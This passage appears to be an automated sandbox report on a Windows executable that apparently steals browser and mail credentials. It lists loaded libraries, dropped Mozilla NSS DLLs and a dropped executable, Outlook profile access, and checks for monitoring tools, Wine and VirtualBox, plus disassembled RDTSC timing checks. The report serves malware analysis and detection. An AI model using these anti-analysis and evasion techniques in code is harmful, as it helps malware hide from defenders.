Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.2.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1864192 > 1048576

Source: file.exe

Static PE information: Raw size of typyooby is bigger than: 0x100000 < 0x1ad400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2608075848.000000006C70F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2607830609.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.670000.0.unpack :EW;.rsrc:W;.idata :W; :EW;typyooby:EW;ebtpxuyk:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;typyooby:EW;ebtpxuyk:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: real checksum: 0x1d63e0 should be: 0xe2be
Source: file.exe	Static PE information: real checksum: 0x1ca1d4 should be: 0x1d6f1b
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x1d63e0 should be: 0xe2be

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: typyooby
Source: file.exe	Static PE information: section name: ebtpxuyk
Source: file.exe	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: xtasyykt
Source: random[1].exe.0.dr	Static PE information: section name: gzyjpbij
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name:
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name:
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: xtasyykt
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: gzyjpbij
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B536 push ecx; ret

0_2_6C50B549

Source: file.exe	Static PE information: section name: typyooby entropy: 7.9531545841336
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.651871396159214
Source: DocumentsBAECFHJEBA.exe.0.dr	Static PE information: section name: entropy: 7.651871396159214

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAECFHJEBA.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsBAECFHJEBA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAECFHJEBA.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsBAECFHJEBA.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA66 second address: 8BFA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8BFA6A second address: 8BFA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007FFBACBC1536h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35604 second address: A3563E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007FFBAD1BEC4Ah 0x0000000e jmp 00007FFBAD1BEC42h 0x00000013 push edx 0x00000014 pop edx 0x00000015 jmp 00007FFBAD1BEC48h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A43429 second address: A4342E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451F2 second address: A451F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451F6 second address: A451FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A451FA second address: 8BFA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d xor dword ptr [esp], 3918F7A1h 0x00000014 mov edi, dword ptr [ebp+122D1E29h] 0x0000001a push dword ptr [ebp+122D0FCDh] 0x00000020 movzx ecx, bx 0x00000023 call dword ptr [ebp+122D1DACh] 0x00000029 pushad 0x0000002a stc 0x0000002b xor eax, eax 0x0000002d cmc 0x0000002e mov edx, dword ptr [esp+28h] 0x00000032 mov dword ptr [ebp+122D1B71h], edx 0x00000038 mov dword ptr [ebp+122D3728h], eax 0x0000003e jmp 00007FFBAD1BEC41h 0x00000043 mov esi, 0000003Ch 0x00000048 jmp 00007FFBAD1BEC45h 0x0000004d pushad 0x0000004e mov edi, dword ptr [ebp+122D3650h] 0x00000054 mov edx, dword ptr [ebp+122D3804h] 0x0000005a popad 0x0000005b add esi, dword ptr [esp+24h] 0x0000005f jmp 00007FFBAD1BEC41h 0x00000064 lodsw 0x00000066 mov dword ptr [ebp+122D1B71h], ebx 0x0000006c add eax, dword ptr [esp+24h] 0x00000070 mov dword ptr [ebp+122D1B71h], ebx 0x00000076 mov ebx, dword ptr [esp+24h] 0x0000007a xor dword ptr [ebp+122D1B71h], edx 0x00000080 nop 0x00000081 pushad 0x00000082 push eax 0x00000083 push edx 0x00000084 jng 00007FFBAD1BEC36h 0x0000008a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A452F5 second address: A45302 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FFBACBC1536h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45302 second address: A45306 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45306 second address: A45330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jne 00007FFBACBC1548h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45330 second address: A4534B instructions: 0x00000000 rdtsc 0x00000002 jl 00007FFBAD1BEC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e popad 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edx 0x00000017 pop edx 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4534B second address: A4536A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FFBACBC1536h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e movzx ebx, bx 0x00000011 cld 0x00000012 popad 0x00000013 lea ebx, dword ptr [ebp+1245915Bh] 0x00000019 xchg eax, ebx 0x0000001a push ecx 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453B1 second address: A453B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453B5 second address: A453CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1544h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453CD second address: A453D2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A453D2 second address: A45434 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a call 00007FFBACBC153Ah 0x0000000f sub dword ptr [ebp+122D26BEh], esi 0x00000015 pop esi 0x00000016 pushad 0x00000017 je 00007FFBACBC153Ch 0x0000001d xor dword ptr [ebp+122D249Bh], ebx 0x00000023 popad 0x00000024 push 00000000h 0x00000026 mov ecx, eax 0x00000028 call 00007FFBACBC1539h 0x0000002d js 00007FFBACBC154Fh 0x00000033 push eax 0x00000034 pushad 0x00000035 push ecx 0x00000036 jno 00007FFBACBC1536h 0x0000003c pop ecx 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45434 second address: A45477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ebx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007FFBAD1BEC3Bh 0x00000015 popad 0x00000016 pop ebx 0x00000017 mov eax, dword ptr [eax] 0x00000019 jnc 00007FFBAD1BEC46h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 je 00007FFBAD1BEC38h 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45477 second address: A4547C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4547C second address: A454D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pop eax 0x00000008 jmp 00007FFBAD1BEC40h 0x0000000d movsx edx, ax 0x00000010 push 00000003h 0x00000012 mov esi, dword ptr [ebp+122D3988h] 0x00000018 push 00000000h 0x0000001a mov esi, ecx 0x0000001c push 00000003h 0x0000001e call 00007FFBAD1BEC46h 0x00000023 mov dx, 29E8h 0x00000027 pop ecx 0x00000028 call 00007FFBAD1BEC39h 0x0000002d jc 00007FFBAD1BEC44h 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454D3 second address: A454D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454D7 second address: A454F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FFBAD1BEC40h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454F2 second address: A454F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454F6 second address: A454FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A454FC second address: A45501 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45501 second address: A4552C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b ja 00007FFBAD1BEC3Eh 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFBAD1BEC3Eh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4552C second address: A45536 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FFBACBC1536h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45536 second address: A45558 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFBAD1BEC42h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45558 second address: A4556D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFBACBC1541h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4556D second address: A455A4 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FFBAD1BEC38h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop eax 0x0000000d mov si, E23Dh 0x00000011 lea ebx, dword ptr [ebp+12459164h] 0x00000017 mov dl, bl 0x00000019 pushad 0x0000001a cld 0x0000001b mov dh, 66h 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007FFBAD1BEC42h 0x00000029 popad 0x0000002a rdtsc
